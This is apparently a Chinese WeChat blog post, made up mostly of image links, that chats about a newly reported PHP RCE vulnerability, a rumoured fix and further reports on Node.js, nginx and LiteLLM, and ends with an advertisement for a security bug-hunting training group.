![](https://mmbiz.qpic.cn/mmbiz_png/tlibgKYKL9Ev4fic5FCIK4Fej7ZiagFjuekMs6lah0iblHu6aZKbF5A5abPsgqhucicM4PmIlDQzopAEkLOUWn62qtZiaNYPOibI2tV70J2xiaUI8vs/640?wx_fmt=png&from=appmsg "")
发现国外早就传开了,如图
![](https://mmbiz.qpic.cn/mmbiz_jpg/tlibgKYKL9EuVcNMPpFiacZdRMPFYVa4icJpgoicvI10phhuWWMicicmcYS21iawVpRxW2QwfVsuvRibxOibn8TZ7zv5gcRwXIhwmLyIc6zX5buLuuxo/640?wx_fmt=jpeg&from=appmsg "")
网传修复方式
![](https://mmbiz.qpic.cn/sz_mmbiz_png/tlibgKYKL9Espy6rTGGSku2byHJPeWd0r8f9o2xwtTaXO8Phg58B4jYmGT7Ft7jzbhAqbgaueFibGnaibJ1y1MRoyzQrNzJHVmSKS8QceysJicY/640?wx_fmt=png&from=appmsg "")
突然紧接着爆出了更多漏洞比如node js,nginx ,Litellm都爆出有漏洞,还让不让sqg睡觉了
![](https://mmbiz.qpic.cn/sz_mmbiz_png/tlibgKYKL9EvyKwZTSZ8GymiaibwQOUqCBU2ZxwK9iax38BNjAeSGwkk71shIdeys3fdI9rl4X7zBhiboNmelUbtuJqqEfrjmd6wic8tpXFcuKtJQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/tlibgKYKL9EstErp9CaZhnE4ttwr7lh48JVx5USmj97O0swS5Gq8VxZMFia5GiciaJ6KxulHMPhIVhOOpu5uetmO1E45JqBzHV6PsBfuhGLoDZM/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/tlibgKYKL9EsAzPSQXibNibFYU9oNBtD0zRypJOD2icfkoyiaAaOrxlbgDhmsE5hOBdv7PLOwPOn1Auj9GPFqVPbLicP464CEzOjDibPOnEDUoia9cI/640?wx_fmt=jpeg&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/tlibgKYKL9EuxbbPtzoJma5VvEC3QkWhUBiaHVibPaia1yY3iaWNswNfPOOicSXYyM0TP3R8m7aRMKialKB5Cboo2QKqWVoibu4ibH0ZUfiakrALouwLI/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/tlibgKYKL9Euo3d87foicwkGuZ4cKynp4ibXlGicvrFAibAaRE7YS3QajFXjSwcQfFapibfur1LibZKKTsT5OOux4g1vJf8ndOaqdTiczUmL6q7dAvI/640?wx_fmt=jpeg&from=appmsg "")
就想知道php rce漏洞能不能无条件rce或者能找打内存地址,然后又突然一堆漏洞爆出来,这是蹭热度还是啥呀,有点懵了。谁来告诉深情哥,算了睡觉就当疯狂星期四过年了
# 最后总结感兴趣的可以联系深情哥进群,有公开课会在群里面通知,包括审计和src。edu邀请码获取,咨询问题,hvv渠道推荐,nisp和cisp考证都可以联系深情哥。内部edu+src培训,包括ai渗透,src挖掘,edu挖掘,小程序逆向,js逆向,app渗透,导师是挖洞过50w的奥特曼深情哥,edu上千分的带头大哥!!!联系深情哥即可。
![图片](https://mmbiz.qpic.cn/mmbiz_png/tlibgKYKL9EsuyO0E5LibkFmuuFv4259LqOcfH30CyI9zwb9LB2boPBFcTLOM6G53z68PBC7CFzCuhkta10xSbxWOhxxNp5QziboaT461qSDKY/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1&retryload=1#imgIndex=19 "")